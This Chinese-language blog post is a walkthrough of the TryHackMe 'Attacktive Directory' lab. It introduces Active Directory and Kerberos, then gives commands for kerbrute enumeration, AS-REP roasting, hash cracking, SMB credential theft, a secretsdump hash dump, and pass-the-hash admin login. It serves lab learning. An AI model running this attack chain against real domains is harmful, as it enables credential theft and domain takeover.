iT邦幫忙

2024 iThome 鐵人賽

DAY 23
0
自我挑戰組

從零開始:資安滲透初探系列 第 23

19: 資安滲透初探: 番外: 入侵 Active Directory

  • 分享至 

  • xImage
  •  

今天的內容會比較難,有些部分我自己也沒有很懂,內容有使用大量chatgpt輔助說明.
今天打的靶機是TryHackMe平台上的Attacktive Directory
https://tryhackme.com/r/room/attacktivedirectory

Active Directory

Active Directory (AD) 是由 Microsoft 開發的目錄服務,主要用於 Windows 網路環境。AD 是一個集中的數據庫,儲存關於網路中的用戶、計算機、群組、服務以及其他資源的信息。通過 AD,網路管理員可以管理用戶帳戶、應用程式、文件夾以及其他網路資源。

Active Directory 的主要組件:

  1. 域控制器 (Domain Controller, DC):AD 的核心組件,負責身份驗證和授權。所有的 AD 數據庫(如用戶帳戶、群組等)都儲存在 DC 上。
  2. 域 (Domain):域是 AD 中的基本單位,是一個安全邊界,用於管理和存儲所有的帳戶和資源信息。
  3. 組織單位 (Organizational Units, OU):域內的邏輯容器,可以用來組織用戶、群組和資源,使管理更加方便。
  4. 全域編錄 (Global Catalog, GC):存儲整個林中所有物件的一部分屬性,允許用戶在林內搜尋物件。
  5. 信任關係 (Trust Relationships):AD 域之間的信任關係,允許不同域之間的資源訪問。

Kerberos

Kerberos 是一個網路身份驗證協議,最初由麻省理工學院 (MIT) 開發。它是一個基於票證的系統,旨在保護通過不安全網路(如局域網或互聯網)的通訊過程,並確保數據的保密性和完整性。Kerberos 是 Active Directory 中的核心身份驗證機制。

Kerberos 的主要特徵:

  1. 對稱密鑰加密:Kerberos 使用對稱密鑰加密來保護票證和身份驗證數據。
  2. 可信任第三方:Kerberos 的身份驗證依賴於可信任的第三方——密鑰發行中心 (Key Distribution Center, KDC),KDC 包含兩個主要部分:
    • 身份驗證服務 (Authentication Service, AS):負責驗證用戶的身份。
    • 票證授權服務 (Ticket Granting Service, TGS):發放用戶用於訪問特定服務的票證。
  3. 票證授權機制:用戶在驗證後獲取一個票證授權票證 (Ticket Granting Ticket, TGT),該票證可以用來向 TGS 請求特定服務的票證,這樣用戶不必反復輸入密碼。
  4. 時間同步要求:Kerberos 依賴於精確的時間同步,通常允許的時間偏差為 5 分鐘,以防止重放攻擊。

Active Directory 和 Kerberos 的關係

在 Active Directory 環境中,Kerberos 是默認的身份驗證協議。當用戶登錄到一個 Windows 域時,Kerberos 協議會被用來驗證用戶的身份。用戶首先向 KDC 發送身份驗證請求,獲取 TGT,然後用 TGT 來請求訪問特定資源的票證(如文件共享、應用程式等)。這樣的設計使得 AD 網路中的身份驗證過程既安全又高效。

Kerberos 與 Active Directory 的結合使得網路身份驗證變得更為安全,並且有效地管理了多用戶、多資源的訪問控制。

枚舉Active Directory:

  1. 連接VPN
    • 在tryhackme註冊完成後,到access取得.ovpn
    • 把檔案傳進kali並執行以下命令就可以連上了(沒有連沒辦法做題唷)
    sudo openvpn --config thm.ovpn
    

1. 設置並啟動 TryHackMe 機器

  • 首先,我們需要設置並啟動 TryHackMe 提供的虛擬機。
    -在Task1把下面的部分勾選完start machine就可以按了
  • 在啟動虛擬機並連接到 VPN 後,你可以通過輸入 ifconfig 命令來查看分配的 VPN IP 位址。

2. 安裝必需的工具

  • Impacket:你需要克隆 Impacket 並安裝相應的依賴包。確保你已按照教學中給出的命令完成這些步驟。
  • Bloodhound 和 Neo4J:這些工具也是列舉 Active Directory 的關鍵,需要根據教學中的步驟進行安裝。

3. Nmap 列舉

  • 基本 Nmap 掃描:首先,我們使用 Nmap 對目標進行基本掃描。這將幫助我們確認目標上開放的端口。
  • 問題解答
    1. 工具列舉:列舉端口 139 和 445 的工具是 enum4linux
    2. NetBIOS 網域名稱:你可以使用 enum4linux 工具來列舉出 NetBIOS 網域名稱,它應該是 THM-AD
    3. 無效的頂級域名:通常用於 Active Directory 的無效頂級域名是 .local

4. Kerberos 列舉

  • 下載並使用 Kerbrute 工具:使用 Kerbrute 來列舉用戶名稱。你可以從 GitHub 上下載並配置這個工具。

  • 問題解答

    1. Kerbrute 列舉命令:使用以下命令來列舉有效的用戶名:
    ./kerbrute userenum -d spookysec.local --dc <IP位址> /path/to/userlist.txt
    
    
    1. 顯著帳戶SVC admin 是值得注意的帳戶,因為它會返回密碼哈希。
    2. 其他顯著帳戶backup 是另一個值得注意的帳戶,因為它可能在後續的攻擊中有用。

以上就是列舉 Active Directory 的過程。接下來我們將深入探討如何利用這些資訊進行漏洞利用。

利用 Active Directory 的漏洞

1. ASREPRoasting 攻擊

接下來將嘗試利用 Kerberos 中的一個漏洞,這種攻擊方法被稱為 ASREPRoasting。這個攻擊方法適用於那些設定了 "不需要預先驗證" 權限的使用者帳戶。這意味著該帳戶在請求 Kerberos 票據時不需要提供有效的身份驗證。
為了實現這個攻擊,我們將使用 Impacket 工具中的 GetNPUsers.py 腳本。這個工具將幫助我們從金鑰分配中心 (Key Distribution Center, KDC) 中查詢 ASReproastable 帳戶。

  • 下載並設置 Impacket 工具
    下載 Impacket,你可以通過 GitHub 進行下載。下載後,切換到 Impacket 工具的 examples 目錄。
cd /opt/impacket/examples

  • 運行 GetNPUsers.py
    接下來,我們將針對 svc-admin 帳戶發起攻擊,並試圖獲取其 Kerberos 票據。
python3 GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip <目標 IP>

  • 結果
    成功運行後,你應該會看到 svc-admin 的 TGT (票據授權票據) 以及相關的 hash 值。

2. 破解 SVC-Admin 的 Hash

現在我們已經獲得了 svc-admin 的 hash 值,我們需要利用字典攻擊來破解這個 hash,從而獲得 svc-admin 的明文密碼。

  • 保存 hash
    svc-admin 的 hash 保存到一個檔案中,例如 hash.txt
nano hash.txt

  • 使用 John the Ripper 進行破解
    使用 John the Ripper 工具,並指定字典檔案來破解 hash。
john hash.txt --wordlist=/path/to/passwordlist.txt

  • 結果
    成功破解後,你應該會得到 svc-admin 的明文密碼,例如 management2005

3. 列舉並存取 SMB 共享

現在我們擁有 svc-admin 的憑證,可以嘗試列舉並存取域控制器上的共享資料夾。

  • 使用 smbclient 列舉共享
    使用 smbclient 工具列舉所有的共享資料夾。
sudo smbclient -U spookysec.local/svc-admin -L //目標IP

  • 結果
    你應該會看到幾個共享資料夾,包括一個名為 backup 的資料夾,這個資料夾一般不會出現在這裡。

  • 存取 backup 共享
    嘗試連接並存取 backup 共享,並下載 backup_credentials.txt 檔案。

sudo smbclient //目標IP/backup -U spookysec.local/svc-admin
get backup_credentials.txt

![](https://i.imgur.com/LWUPnTJ.png)
![](https://i.imgur.com/xhy7ihp.png)
![](https://i.imgur.com/5uDmg3c.png)
  • 解碼 Base64
    使用 Base64 解碼工具來解碼 backup_credentials.txt 中的內容,這將給我們另一個帳戶的憑證。
    https://www.base64decode.org/

提升 Active Directory 權限

1. 域內權限提升

在這部分中,我們將利用 backup 帳戶的權限來取得更多有價值的資訊,這些資訊將幫助我們進一步提升權限,直至獲得域控制器的完全控制權。

  • 目標: 利用 backup 帳戶提升我們的權限,最終取得管理員權限。

  • 工具: 我們將使用 Impacket 工具中的 secretsdump.py 來提取域中的所有帳戶密碼雜湊。

  • 運行 secretsdump.py

    首先,進入 Impacket 的 examples 目錄,然後運行 secretsdump.py 工具。

cd /opt/impacket/examples
sudo python3 secretsdump.py spookysec.local/backup:backup2517860@<目標IP> -dc-ip <目標IP>

  • 結果: 運行此命令後,你應該能夠看到所有帳戶的密碼雜湊,特別是 Administrator 帳戶的 NTLM hash。

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
    
    

2. 使用 Hash 提升權限

現在我們擁有了 Administrator 帳戶的 NTLM hash,我們可以利用這個 hash 來直接以管理員身份登入域控制器。

  • 使用 Evil-WinRM 工具:

    我們將使用 evil-winrm 工具,該工具允許我們僅使用 hash 來登入帳戶。

sudo evil-winrm -i <目標IP> -u Administrator -H <NTLM hash>

  • 結果:

    運行此命令後,你將成功以 Administrator 身份登入域控制器,並擁有完全的管理員權限。

    whoami
    THM-AD\\Administrator
    
    

3. 獲取旗標 (Flags)

現在我們已經擁有管理員權限,我們可以查找並提交三個帳戶的旗標,包括 Administratorsvc-adminbackup

  • 查找和提交旗標:

    • 將目錄切換到每個使用者的桌面,並找到相應的旗標檔案。
    • 使用 type 命令讀取檔案內容,並將旗標提交至 TryHackMe 平台。
    cd C:\\Users\\Administrator\\Desktop
    type root.txt
    
    
    cd C:\\Users\\svc-admin\\Desktop
    type user.txt.txt
    
    
    cd C:\\Users\\backup\\Desktop
    type PrivEsc.txt
    
    
  • 結果: 成功提交後,應該就能完成了所有挑戰,並解鎖了相應的成就。


上一篇
18: 資安滲透初探: 番外: 匿名性介紹
下一篇
20: 資安滲透初探: HTB靶機入門: Meow
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言